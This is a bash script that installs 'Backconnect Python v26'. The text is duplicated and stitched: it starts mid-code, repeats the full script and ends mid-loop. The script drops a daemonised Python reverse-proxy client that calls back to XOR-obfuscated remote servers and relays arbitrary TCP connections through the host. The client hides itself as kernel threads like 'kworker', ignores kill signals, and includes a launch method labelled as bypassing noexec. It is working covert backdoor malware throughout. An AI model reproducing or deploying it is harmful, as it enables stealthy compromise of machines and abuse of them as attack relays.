        cs.settimeout(15)
        cs.connect((dom,pt))
        cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        cs.settimeout(None)
        with AL:
            if gen==GEN and ALIVE:sa[n]=1;sk[n]=cs;r[4]=0;ok=1
    except:
        try:cs.close()
        except:pass
    rc4(x,r,0,3);rc4(x,r,3,10);ssend(bytes(r),gen)
    if ok:
        try:
            while True:
                with AL:
                    if sa[n]!=1 or gen!=GEN or not ALIVE:break
                try:rl,_,el=select.select([cs],[],[cs],1)
                except:break
                if el:break
                if rl:
                    try:d=cs.recv(65530)
                    except:break
                    if not d:break
                    buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d)
                    rc4(x,buf,0,3);rc4(x,buf,3,len(d))
                    if not ssend(bytes(buf),gen):break
        except:pass
    with AL:
        sa[n]=0;sk[n]=None
        if wc>0:wc-=1
    try:cs.close()
    except:pass
    if gen==GEN:r[1]=r[2]=0;rc4(x,r,0,3);ssend(bytes(r[:3]),gen)
reconnect_delay=5
max_reconnect_delay=60
def main():
    global SS,sa,sk,wc,ALIVE,GEN,reconnect_delay
    with AL:
        GEN+=1;ALIVE=True;wc=0
        for i in range(200):
            sa[i]=0;c=sk[i];sk[i]=None
            if c:
                try:c.close()
                except:pass
    gen=GEN
    rm=r4=ebx=edx=0;b0=bytearray();ex=0;ka_time=time.time()
    connected=False
    try:
        SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1)
        SS.settimeout(15)
        SS.connect((H,P))
        SS.settimeout(None)
        hs=bytearray(100);hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python"
        rc4(x,hs,50,50);SS.sendall(bytes(hs))
        connected=True;reconnect_delay=5
        while ALIVE and gen==GEN:
            if r4<4:
                try:rl,_,el=select.select([SS],[],[SS],60)
                except:break
                if el:break
                if not rl:
                    if time.time()-ka_time>60:
                        ka=bytearray(3);rc4(x,ka,0,3)
                        if not ssend(bytes(ka),gen):break
                        ka_time=time.time()
                    continue
                try:d=SS.recv(4-r4)
                except:break
                if not d:break
                b0.extend(d);r4+=len(d);ka_time=time.time()
                if r4==4:rc4(x,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8)
            if r4==4:
                if edx==0:
                    if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break
                    if 0<ebx<200:
                        with AL:sa[ebx]=0;c=sk[ebx];sk[ebx]=None
                        if c:
                            try:c.close()
                            except:pass
                    r4=0;b0=bytearray()
                else:
                    if edx>1048576:break
                    need=edx-rm
                    if need>0:
                        try:d=SS.recv(min(need,65536))
                        except:break
                        if not d:break
                        b0.extend(d);rm+=len(d)
                    if rm==edx:
                        rc4(x,b0,4,rm)
                        if b0[0]==0:
                            if 0<ebx<200:
                                with AL:
                                    if wc>=MAX_WORKERS:r4=0;rm=0;b0=bytearray();continue
                                    wc+=1
                                cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                                t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0),gen),daemon=True)
                                t.start()
                        else:
                            if 0<ebx<200:
                                with AL:
                                    if sa[ebx]==1 and sk[ebx]:
                                        try:sk[ebx].settimeout(10);sk[ebx].sendall(bytes(b0[4:4+rm]))
                                        except:pass
                        rm=0;r4=0;b0=bytearray()
    except:pass
    with AL:
        if gen==GEN:ALIVE=False
    try:SS.close()
    except:pass
    SS=None
    time.sleep(1)
    with AL:
        for i in range(200):
            if sa[i]!=0:
                sa[i]=0;c=sk[i];sk[i]=None
                if c:
                    try:c.close()
                    except:pass
    if not connected:reconnect_delay=min(reconnect_delay*1.5,max_reconnect_delay)
    time.sleep(reconnect_delay-1)
    if ex:sys.exit(0)
while 1:
    try:main()
    except:
        reconnect_delay=min(reconnect_delay*1.5,max_reconnect_delay)
        time.sleep(reconnect_delay)
PYEOF
    
    chmod +x "$pyf" 2>/dev/null
    
    # Method 1: Direct execution
    "$PYTHON" "$pyf" 2>/dev/null &
    sleep 1
    [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    
    # Method 2: Via stdin (bypass noexec)
    "$PYTHON" < "$pyf" 2>/dev/null &
    sleep 1
    [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    
    # Method 3: Via pipe
    cat "$pyf" | "$PYTHON" 2>/dev/null &
    sleep 1
    [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    
    return 1
}

# ═══════════════════════════════════════════════════════════════════════
#                           INITIALIZATION
# ═══════════════════════════════════════════════════════════════════════

PD="$(find_writable)"
PYTHON="$(find_python)"

if [ -z "$PYTHON" ]; then
    echo "ERROR: No Python 3 found"
    echo "Searched: python3, python, /usr/bin/python3, etc."
    echo "Auto-download also failed (need curl or wget)"
    exit 1
fi

# ═══════════════════════════════════════════════════════════════════════
#                          MAIN LOGIC
# ═══════════════════════════════════════════════════════════════════════

SRV=();FORCE=0

case "${1:-}" in
-h|--help)
    echo "Backconnect Python v26 FINAL"
    echo ""
    echo "Usage: $0 [options] [server:port ...]"
    echo ""
    echo "Options:"
    echo "  -e KEY srv:port...  Encrypt server list"
    echo "  -d KEY [-f]         Decrypt ENC_DATA and run"
    echo "  -k                  Kill all Python clients"
    echo "  -s                  Show status"
    echo "  -f                  Force restart"
    echo "  --download          Download portable Python"
    echo "  -h, --help          Show this help"
    echo ""
    echo "Examples:"
    echo "  $0 server.com:443                    # Direct run"
    echo "  $0 srv1:443 srv2:8080 srv3:443       # Multiple servers"
    echo "  $0 -e mykey srv1:443 srv2:443        # Encrypt servers"
    echo "  $0 -d mykey                          # Decrypt and run"
    echo "  $0 -d mykey -f                       # Decrypt + force restart"
    echo ""
    echo "Current config:"
    echo "  Python: $PYTHON"
    echo "  Arch:   $(get_arch)"
    echo "  Dir:    ${PD:-<none>}"
    exit 0
    ;;
-k) ka ;;
-s) st ;;
--download)
    echo "Downloading portable Python..."
    [ -z "$PD" ] && { echo "ERROR: No writable directory"; exit 1; }
    portable=$(download_portable_python "$PD")
    if [ -n "$portable" ] && [ -x "$portable" ]; then
        echo "Success: $portable"
        "$portable" --version
    else
        echo "Download failed"
        exit 1
    fi
    exit 0
    ;;
-e)
    [ -z "$2" ] && { echo "Usage: $0 -e KEY server:port [server:port ...]"; exit 1; }
    K="$2"; shift 2
    [ $# -eq 0 ] && { echo "ERROR: No servers specified"; exit 1; }
    enc_srv "$K" "$@"
    echo ""
    echo "Now insert this line into the script (replace ENC_DATA=\"\")"
    echo "Then run: $0 -d $K"
    exit 0
    ;;
-d)
    [ -z "$2" ] && { echo "Usage: $0 -d KEY [-f]"; exit 1; }
    K="$2"; shift 2
    [ "${1:-}" = "-f" ] && { FORCE=1; shift; }
    if [ -z "$ENC_DATA" ]; then
        echo "ERROR: ENC_DATA is empty"
        echo ""
        echo "You need to:"
        echo "  1. Run: $0 -e KEY server:port..."
        echo "  2. Copy the output ENC_DATA=\"...\" into this script"
        echo "  3. Then run: $0 -d KEY"
        exit 1
    fi
    DE=$(dec_srv "$K" "$ENC_DATA")
    if [ -z "$DE" ]; then
        echo "ERROR: Decryption failed"
        echo "  ENC_DATA length: ${#ENC_DATA}"
        echo "  KEY length: ${#K}"
        echo ""
        echo "Make sure you use the same key for -e and -d"
        exit 1
    fi
    for s in $DE; do 
        [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443")
    done
    ;;
-f)
    FORCE=1; shift
    for a in "$@"; do 
        [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443")
    done
    ;;
*)
    for a in "$@"; do 
        [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443")
    done
    ;;
esac

[ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h for help"; exit 1; }

mkdir -p "$PD" 2>/dev/null
c=0
for s in "${SRV[@]}"; do
    h="${s%:*}"; p="${s#*:}"; id="${h}_${p}"
    c=$((c+1))
    
    if ir "$h" "$p"; then
        if [ "$FORCE" = "1" ]; then
            printf "[%d/%d] %s:%s replacing... " "$c" "${#SRV[@]}" "$h" "$p"
            kt "$h" "$p"
            sleep 0.5
        else
            echo "[$c/${#SRV[@]}] $h:$p already running (use -f to restart)"
            [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
            continue
        fi
    else
        printf "[%d/%d] %s:%s " "$c" "${#SRV[@]}" "$h" "$p"
    fi
    
    spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL"
    [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
done
echo "Done. Use -s for status."
#!/bin/bash
# Backconnect Python v26 FINAL - All features + All fixes
# BCPY_MARKER - unique identifier for pgrep isolation
N="bcpy";D=3;PD=""

# Encrypted server data (fill after using -e)
ENC_DATA="545941565b5a435b5d5c5e5b555c5b47544f5c52405d58574b4b574054535e49535b5c445d594350504741575d485e4655555b505d4f5e544b405a5b4b5f575d565a5c5e5a5b5e425644415c5053414a5f415e515a55595656525c584b545a464956574a5f5a585851465c4e56504141525a415d56415c5753485b5a56465c45495d5a514056554c5447585451525c53545941565b5a435b5d5c5e5b5d5c5b47544f5c52405d58574b4b574054535649535b5c445d594350504741575d485e4557555b505d4f5e544b405a5b4b5f575d56595e5e5a5b5e425644415c5053414a5f415e525c55595656525c584b545a464956574a5f595e5851465c4e56504141525a415d56415c5451485b5a56465c45495d5a514056554c54445a5451525c53545941565b5a435b5d5c5e58535c5b47544f5c52405d58574b4b574054505849535b5c445d594350504741575d485e455f555b505d4f5e544b405a5b4b5f575d5659565e5a5b5e425644415c5053414a5f415e535e55595656525c584b545a464956574a5f585c5851465c4e56504141525a415d56415c5557485b5a56465c45495d5a514056554c54455c5451525c53545941565b5a435b5d5c5e59515c5b47544f5c52405d58574b4b574054515a49535b5c445d594350504741575d485e4451555b505d4f5e544b405a5b4b5f575d5658585e5a5b5e425644415c5053414a5f415e535655595656525c584b545a464956574a5f58545851465c4e56504141525a415d56415c5a55485b5a56465c45495d5a514056554c544a5e5451525c53545941565b5a435b5d5c5e56575c5b47544f5c52405d58574b4b5740545e5c49535b5c445d594350504741575d485e4b53555b505d4f5b504b445f4054555e5d5658575e5a5b5e425340415855485e4056415e53575559565652595c4b505f5d565c5e4a5f575d5851465c4e5354414557415e575f415c5a54485b5a5646594149595f4a5f5c5c4c544a5d5451525c53515d41525e415c51545c5e56565c5b47544f595640595d4c54415e40545e5b49535b5c44585d4354555c5e5d54485e4b52555b505d4f5b504b445f4054555e5d5657595e5a5b5e425340415855485e4056415e5c595559565652595c4b505f5d565c5e4a5f57555851465c4e5354414557415e575f415c5a5c485b5a5646594149595f4a5f5c5c4c544b5f5451525c53515d41525e415c51545c5e57545c5b47544f595640595d4c54415e40545f5d49535b5c44585d4354555c5e5d54485e4a54555b505d4f5b504b445f4054555e5d56565b5e5a5b5e425340415855485e4056415e5d5b5559565652595c4b505f5d565c5e4a5f565b5851465c4e5354414557415e575f415c5b52485b5a5646594149595f4a5f5c5c4c544b575451525c53515d41525e415c51545c5e575c5c5b47544f595640595d4c54415e4057565f49535b5c44585d4354555c5e5d54485d4356555b505d4f5b504b445f4054555e5d555f5d5e5a5b5e425340415855485e4056415d545d5559565652595c4b505f5d565c5e4a5c5f595851465c4e5354414557415e575f415f5250485b5a5646594149595f4a5f5c5c4c57475c5451525c"


# ═══════════════════════════════════════════════════════════════════════
#                         HELPER FUNCTIONS
# ═══════════════════════════════════════════════════════════════════════

get_arch() {
    local arch=$(uname -m 2>/dev/null || echo "x86_64")
    case "$arch" in
        x86_64|amd64)     echo "x86_64" ;;
        aarch64|arm64)    echo "aarch64" ;;
        i686|i386|i586)   echo "i686" ;;
        armv7l|armhf)     echo "armv7" ;;
        *)                echo "x86_64" ;;
    esac
}

find_writable() {
    local dirs=(
        "/tmp" "/var/tmp" "/dev/shm" "/run"
        "/run/user/$UID" "/run/user/$(id -u 2>/dev/null)"
        "$HOME" "${TMPDIR:-}" "${TEMP:-}" "${TMP:-}"
        "/usr/tmp" "/var/cache" "." "$PWD" "$(dirname "$0" 2>/dev/null)"
    )
    for d in "${dirs[@]}"; do
        [ -z "$d" ] && continue
        [ ! -d "$d" ] && continue
        local tf="$d/.${N}_test_$$"
        if touch "$tf" 2>/dev/null; then
            rm -f "$tf" 2>/dev/null
            echo "$d/.$N"
            return 0
        fi
    done
    echo ""
    return 1
}

find_downloader() {
    command -v curl &>/dev/null && { echo "curl"; return 0; }
    command -v wget &>/dev/null && { echo "wget"; return 0; }
    return 1
}

download_portable_python() {
    local dest_dir="$1"
    local arch=$(get_arch)
    local dl=$(find_downloader)
    
    [ -z "$dl" ] && return 1
    [ -z "$dest_dir" ] && return 1
    mkdir -p "$dest_dir" 2>/dev/null || return 1
    
    local base_url="https://github.com/indygreg/python-build-standalone/releases/download/20240415"
    local filename=""
    
    case "$arch" in
        x86_64)  filename="cpython-3.11.9+20240415-x86_64-unknown-linux-gnu-install_only.tar.gz" ;;
        aarch64) filename="cpython-3.11.9+20240415-aarch64-unknown-linux-gnu-install_only.tar.gz" ;;
        i686)    filename="cpython-3.11.9+20240415-i686-unknown-linux-gnu-install_only.tar.gz" ;;
        *)       return 1 ;;
    esac
    
    local url="$base_url/$filename"
    local tarball="$dest_dir/python.tar.gz"
    
    echo "Downloading portable Python (~25MB)..." >&2
    if [ "$dl" = "curl" ]; then
        curl -fsSL -o "$tarball" "$url" 2>/dev/null || return 1
    else
        wget -q -O "$tarball" "$url" 2>/dev/null || return 1
    fi
    
    [ ! -f "$tarball" ] && return 1
    local sz=$(stat -c%s "$tarball" 2>/dev/null || stat -f%z "$tarball" 2>/dev/null)
    [ "$sz" -lt 1000000 ] && { rm -f "$tarball"; return 1; }
    
    echo "Extracting..." >&2
    cd "$dest_dir" && tar -xzf "$tarball" 2>/dev/null && rm -f "$tarball"
    
    [ -x "$dest_dir/python/bin/python3" ] && { echo "$dest_dir/python/bin/python3"; return 0; }
    [ -x "$dest_dir/python/bin/python3.11" ] && { echo "$dest_dir/python/bin/python3.11"; return 0; }
    return 1
}

find_python() {
    local pythons=(
        "python3" "python" "python3.12" "python3.11" "python3.10" "python3.9" "python3.8"
        "/usr/bin/python3" "/usr/bin/python"
        "/usr/local/bin/python3" "/usr/local/bin/python"
        "/opt/python3/bin/python3" "/opt/python/bin/python"
        "/bin/python3" "/bin/python"
    )
    
    for p in "${pythons[@]}"; do
        if command -v "$p" &>/dev/null || [ -x "$p" ]; then
            if "$p" -c "import sys; sys.exit(0 if sys.version_info[0]>=3 else 1)" 2>/dev/null; then
                echo "$p"
                return 0
            fi
        fi
    done
    
    # Check already downloaded portable
    [ -n "$PD" ] && [ -x "$PD/python/bin/python3" ] && { echo "$PD/python/bin/python3"; return 0; }
    
    # Try to download portable
    if [ -n "$PD" ]; then
        local portable=$(download_portable_python "$PD")
        [ -n "$portable" ] && [ -x "$portable" ] && { echo "$portable"; return 0; }
    fi
    
    return 1
}

# ═══════════════════════════════════════════════════════════════════════
#                       ENCRYPTION FUNCTIONS
# ═══════════════════════════════════════════════════════════════════════

xc() { 
    local k="$1" d="$2" o="" i=0
    local kl="${#k}"
    [ "$kl" -eq 0 ] && { echo ""; return; }
    while [ $i -lt ${#d} ]; do
        local dc="${d:$i:2}"
        [ ${#dc} -lt 2 ] && break
        local db=$((16#$dc))
        local ki=$((i/2%kl))
        local kb=$(printf '%d' "'${k:$ki:1}")
        local xb=$((db^kb))
        o+=$(printf '%02x' $xb)
        i=$((i+2))
    done
    echo "$o"
}

s2h() { 
    local s="$1" o="" i
    for ((i=0;i<${#s};i++)); do 
        o+=$(printf '%02x' "'${s:$i:1}")
    done
    echo "$o"
}

h2s() { 
    local h="$1" o="" i
    for ((i=0;i<${#h};i+=2)); do 
        o+=$(printf "\\x${h:$i:2}")
    done
    echo -e "$o"
}

enc_srv() { 
    local k="$1"; shift
    echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\""
}

dec_srv() { 
    [ -z "$2" ] && return
    h2s "$(xc "$1" "$2")"
}

# ═══════════════════════════════════════════════════════════════════════
#                      PROCESS MANAGEMENT
# ═══════════════════════════════════════════════════════════════════════

fp() { 
    pgrep -f "BCPY_MARKER.*$1.*$2" 2>/dev/null
}

kt() { 
    local pids=$(fp "$1" "$2")
    [ -z "$pids" ] && return 0
    echo "$pids" | xargs -r kill -15 2>/dev/null
    sleep 0.5
    echo "$pids" | xargs -r kill -9 2>/dev/null
    sleep 0.3
}

ka() { 
    local pids=$(pgrep -f "BCPY_MARKER" 2>/dev/null)
    if [ -n "$pids" ]; then
        echo "$pids" | xargs -r kill -15 2>/dev/null
        sleep 1
        pgrep -f "BCPY_MARKER" 2>/dev/null | xargs -r kill -9 2>/dev/null
    fi
    [ -n "$PD" ] && rm -f "$PD"/*.py "$PD"/*.pid 2>/dev/null
    [ -n "$PD" ] && rmdir "$PD" 2>/dev/null
    echo "All Python clients killed"
    exit 0
}

st() { 
    echo "═══════════════════════════════════════════"
    echo "  Backconnect Python v26 Status"
    echo "═══════════════════════════════════════════"
    echo "  Python:    $PYTHON"
    echo "  Arch:      $(get_arch)"
    echo "  Directory: ${PD:-<none>}"
    echo "  ENC_DATA:  ${ENC_DATA:+SET (${#ENC_DATA} chars)}"
    [ -z "$ENC_DATA" ] && echo "  ENC_DATA:  <empty>"
    echo "───────────────────────────────────────────"
    echo "  Running processes:"
    
    local count=0
    if [ -n "$PD" ] && [ -d "$PD" ]; then
        for f in "$PD"/*.pid; do 
            [ -f "$f" ] || continue
            local p=$(cat "$f" 2>/dev/null)
            local n=$(basename "$f" .pid)
            if [ -n "$p" ] && kill -0 "$p" 2>/dev/null; then
                if grep -q "BCPY_MARKER" /proc/$p/cmdline 2>/dev/null; then
                    echo "    ✓ $n (PID $p)"
                    count=$((count+1))
                fi
            fi
        done
    fi
    [ $count -eq 0 ] && echo "    (none)"
    echo "═══════════════════════════════════════════"
    exit 0
}

ir() { 
    pgrep -f "BCPY_MARKER.*$1.*$2" >/dev/null 2>&1 && return 0
    [ -z "$PD" ] && return 1
    local pidf="$PD/${1}_${2}.pid"
    [ -f "$pidf" ] || return 1
    local p=$(cat "$pidf" 2>/dev/null)
    [ -z "$p" ] && return 1
    kill -0 "$p" 2>/dev/null || return 1
    grep -q "BCPY_MARKER" /proc/$p/cmdline 2>/dev/null
}

# ═══════════════════════════════════════════════════════════════════════
#                         SPAWN FUNCTION
# ═══════════════════════════════════════════════════════════════════════

spawn() {
    local host="$1" port="$2" id="$3"
    
    if [ -z "$PD" ]; then
        echo "No writable directory found"
        return 1
    fi
    
    mkdir -p "$PD" 2>/dev/null
    local pidf="$PD/${id}.pid"
    local pyf="$PD/${id}.py"
    
    cat > "$pyf" << PYEOF
#!/usr/bin/env python3
# BCPY_MARKER - DO NOT REMOVE
import socket,select,threading,random,time,os,sys,signal
try:
    threading.stack_size(131072)
except:pass
def daemonize(pidfile):
    if os.fork()>0:sys.exit(0)
    os.setsid()
    if os.fork()>0:sys.exit(0)
    try:os.chdir("/")
    except:pass
    os.umask(0)
    for fd in range(3,64):
        try:os.close(fd)
        except:pass
    sys.stdin=open("/dev/null","r")
    sys.stdout=open("/dev/null","w")
    sys.stderr=open("/dev/null","w")
    if pidfile:
        try:
            with open(pidfile,"w") as f:f.write(str(os.getpid()))
        except:pass
def mask_process():
    names=["kworker","migration","ksoftirqd","watchdog","rcu_sched","kswapd"]
    suffix=["","/0","/1","/0:0","/0:1"]
    pn=random.choice(names)+random.choice(suffix)
    try:
        import ctypes
        libc=ctypes.CDLL("libc.so.6")
        libc.prctl(15,pn.encode(),0,0,0)
    except:pass
    try:
        with open("/proc/self/comm","wb") as f:f.write(pn.encode()[:15])
    except:pass
H,P="${host}",${port}
PF="${pidf}"
daemonize(PF)
mask_process()
for s in[1,2,13,15]:
    try:signal.signal(s,signal.SIG_IGN)
    except:pass
x=bytearray([random.randint(0,254)for _ in range(50)])
def rc4(p,b,s,z):
    L=len(p)
    for i in range(z):b[s+i]^=p[i%L]
    r=list(range(256));j=0
    for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i]
    i=j=0
    for k in range(z):
        i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i]
        b[s+k]^=r[(r[i]+r[j])&255]
    for i in range(z):b[s+i]^=p[i%L]
SS=None
SL=threading.Lock()
AL=threading.Lock()
sa=[0]*200
sk=[None]*200
wc=0
MAX_WORKERS=200
ALIVE=True
GEN=0
def ssend(d,gen):
    global SS,GEN
    try:
        with SL:
            if SS and gen==GEN:
                SS.settimeout(10)
                try:SS.sendall(d)
                except:return 0
                finally:SS.settimeout(None)
        return 1
    except:return 0
def worker(n,cs,b0,gen):
    global sa,sk,wc,GEN,ALIVE
    r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0])
    ok=0
    try:
        if b0[7]==3:
            dl=b0[8];dom=b0[9:9+dl].decode("latin-1");pt=(b0[9+dl]<<8)|b0[9+dl+1]
        elif b0[7]==1:
            dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13]
        else:raise Exception()
        cs.settimeout(15)
        cs.connect((dom,pt))
        cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        cs.settimeout(None)
        with AL:
            if gen==GEN and ALIVE:sa[n]=1;sk[n]=cs;r[4]=0;ok=1
    except:
        try:cs.close()
        except:pass
    rc4(x,r,0,3);rc4(x,r,3,10);ssend(bytes(r),gen)
    if ok:
        try:
            while True:
                with AL:
                    if sa[n]!=1 or gen!=GEN or not ALIVE:break
                try:rl,_,el=select.select([cs],[],[cs],1)
                except:break
                if el:break
                if rl:
                    try:d=cs.recv(65530)
                    except:break
                    if not d:break
                    buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d)
                    rc4(x,buf,0,3);rc4(x,buf,3,len(d))
                    if not ssend(bytes(buf),gen):break
        except:pass
    with AL:
        sa[n]=0;sk[n]=None
        if wc>0:wc-=1
    try:cs.close()
    except:pass
    if gen==GEN:r[1]=r[2]=0;rc4(x,r,0,3);ssend(bytes(r[:3]),gen)
reconnect_delay=5
max_reconnect_delay=60
def main():
    global SS,sa,sk,wc,ALIVE,GEN,reconnect_delay
    with AL:
        GEN+=1;ALIVE=True;wc=0
        for i in range(200):
            sa[i]=0;c=sk[i];sk[i]=None
            if c:
                try:c.close()
                except:pass
    gen=GEN
    rm=r4=ebx=edx=0;b0=bytearray();ex=0;ka_time=time.time()
    connected=False
    try:
        SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1)
        SS.settimeout(15)
        SS.connect((H,P))
        SS.settimeout(None)
        hs=bytearray(100);hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python"
        rc4(x,hs,50,50);SS.sendall(bytes(hs))
        connected=True;reconnect_delay=5
        while ALIVE and gen==GEN:
            if r4<4:
                try:rl,_,el=select.select([SS],[],[SS],60)
                except:break
                if el:break
                if not rl:
                    if time.time()-ka_time>60:
                        ka=bytearray(3);rc4(x,ka,0,3)
                        if not ssend(bytes(ka),gen):break
                        ka_time=time.time()
                    continue
                try:d=SS.recv(4-r4)
                except:break
                if not d:break
                b0.extend(d);r4+=len(d);ka_time=time.time()
                if r4==4:rc4(x,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8)
            if r4==4:
                if edx==0:
                    if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break
                    if 0<ebx<200:
                        with AL:sa[ebx]=0;c=sk[ebx];sk[ebx]=None
                        if c:
                            try:c.close()
                            except:pass
                    r4=0;b0=bytearray()
                else:
                    if edx>1048576:break
                    need=edx-rm
                    if need>0:
                        try:d=SS.recv(min(need,65536))
                        except:break
                        if not d:break
                        b0.extend(d);rm+=len(d)
                    if rm==edx:
                        rc4(x,b0,4,rm)
                        if b0[0]==0:
                            if 0<ebx<200:
                                with AL:
                                    if wc>=MAX_WORKERS:r4=0;rm=0;b0=bytearray();continue
                                    wc+=1
                                cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                                t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0),gen),daemon=True)
                                t.start()
                        else:
                            if 0<ebx<200:
                                with AL:
                                    if sa[ebx]==1 and sk[ebx]:
                                        try:sk[ebx].settimeout(10);sk[ebx].sendall(bytes(b0[4:4+rm]))
                                        except:pass
                        rm=0;r4=0;b0=bytearray()
    except:pass
    with AL:
        if gen==GEN:ALIVE=False
    try:SS.close()
    except:pass
    SS=None
    time.sleep(1)
    with AL:
        for i in range(200):
            if sa[i]!=0:
                sa[i]=0;c=sk[i];sk[i]=None
                if c:
                    try:c.close()
                    except:pass
    if not connected:reconnect_delay=min(reconnect_delay*1.5,max_reconnect_delay)
    time.sleep(reconnect_delay-1)
    if ex:sys.exit(0)
while 1:
    try:main()
    except:
        reconnect_delay=min(reconnect_delay*1.5,max_reconnect_delay)
        time.sleep(reconnect_delay)
PYEOF
    
    chmod +x "$pyf" 2>/dev/null
    
    # Method 1: Direct execution
    "$PYTHON" "$pyf" 2>/dev/null &
    sleep 1
    [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    
    # Method 2: Via stdin (bypass noexec)
    "$PYTHON" < "$pyf" 2>/dev/null &
    sleep 1
    [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    
    # Method 3: Via pipe
    cat "$pyf" | "$PYTHON" 2>/dev/null &
    sleep 1
    [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    
    return 1
}

# ═══════════════════════════════════════════════════════════════════════
#                           INITIALIZATION
# ═══════════════════════════════════════════════════════════════════════

PD="$(find_writable)"
PYTHON="$(find_python)"

if [ -z "$PYTHON" ]; then
    echo "ERROR: No Python 3 found"
    echo "Searched: python3, python, /usr/bin/python3, etc."
    echo "Auto-download also failed (need curl or wget)"
    exit 1
fi

# ═══════════════════════════════════════════════════════════════════════
#                          MAIN LOGIC
# ═══════════════════════════════════════════════════════════════════════

SRV=();FORCE=0

case "${1:-}" in
-h|--help)
    echo "Backconnect Python v26 FINAL"
    echo ""
    echo "Usage: $0 [options] [server:port ...]"
    echo ""
    echo "Options:"
    echo "  -e KEY srv:port...  Encrypt server list"
    echo "  -d KEY [-f]         Decrypt ENC_DATA and run"
    echo "  -k                  Kill all Python clients"
    echo "  -s                  Show status"
    echo "  -f                  Force restart"
    echo "  --download          Download portable Python"
    echo "  -h, --help          Show this help"
    echo ""
    echo "Examples:"
    echo "  $0 server.com:443                    # Direct run"
    echo "  $0 srv1:443 srv2:8080 srv3:443       # Multiple servers"
    echo "  $0 -e mykey srv1:443 srv2:443        # Encrypt servers"
    echo "  $0 -d mykey                          # Decrypt and run"
    echo "  $0 -d mykey -f                       # Decrypt + force restart"
    echo ""
    echo "Current config:"
    echo "  Python: $PYTHON"
    echo "  Arch:   $(get_arch)"
    echo "  Dir:    ${PD:-<none>}"
    exit 0
    ;;
-k) ka ;;
-s) st ;;
--download)
    echo "Downloading portable Python..."
    [ -z "$PD" ] && { echo "ERROR: No writable directory"; exit 1; }
    portable=$(download_portable_python "$PD")
    if [ -n "$portable" ] && [ -x "$portable" ]; then
        echo "Success: $portable"
        "$portable" --version
    else
        echo "Download failed"
        exit 1
    fi
    exit 0
    ;;
-e)
    [ -z "$2" ] && { echo "Usage: $0 -e KEY server:port [server:port ...]"; exit 1; }
    K="$2"; shift 2
    [ $# -eq 0 ] && { echo "ERROR: No servers specified"; exit 1; }
    enc_srv "$K" "$@"
    echo ""
    echo "Now insert this line into the script (replace ENC_DATA=\"\")"
    echo "Then run: $0 -d $K"
    exit 0
    ;;
-d)
    [ -z "$2" ] && { echo "Usage: $0 -d KEY [-f]"; exit 1; }
    K="$2"; shift 2
    [ "${1:-}" = "-f" ] && { FORCE=1; shift; }
    if [ -z "$ENC_DATA" ]; then
        echo "ERROR: ENC_DATA is empty"
        echo ""
        echo "You need to:"
        echo "  1. Run: $0 -e KEY server:port..."
        echo "  2. Copy the output ENC_DATA=\"...\" into this script"
        echo "  3. Then run: $0 -d KEY"
        exit 1
    fi
    DE=$(dec_srv "$K" "$ENC_DATA")
    if [ -z "$DE" ]; then
        echo "ERROR: Decryption failed"
        echo "  ENC_DATA length: ${#ENC_DATA}"
        echo "  KEY length: ${#K}"
        echo ""
        echo "Make sure you use the same key for -e and -d"
        exit 1
    fi
    for s in $DE; do 
        [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443")
    done
    ;;
-f)
    FORCE=1; shift
    for a in "$@"; do 
        [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443")
    done
    ;;
*)
    for a in "$@"; do 
        [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443")
    done
    ;;
esac

[ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h for help"; exit 1; }

mkdir -p "$PD" 2>/dev/null
c=0
for s in "${SRV[@]}"; do
    h="${s%:*}"; p="${s#*:}"; id="${h}_${p}"
    c=$((c+1))
    
    if ir "$h" "$p"; then
        if [ "$FORCE" = "1" ]; then
            printf "[%d/%d] %s:%s replacing... " "$c" "${#SRV[@]}" "$h" "$p"
            kt "$h" "$p"
            sleep 0.5
        else
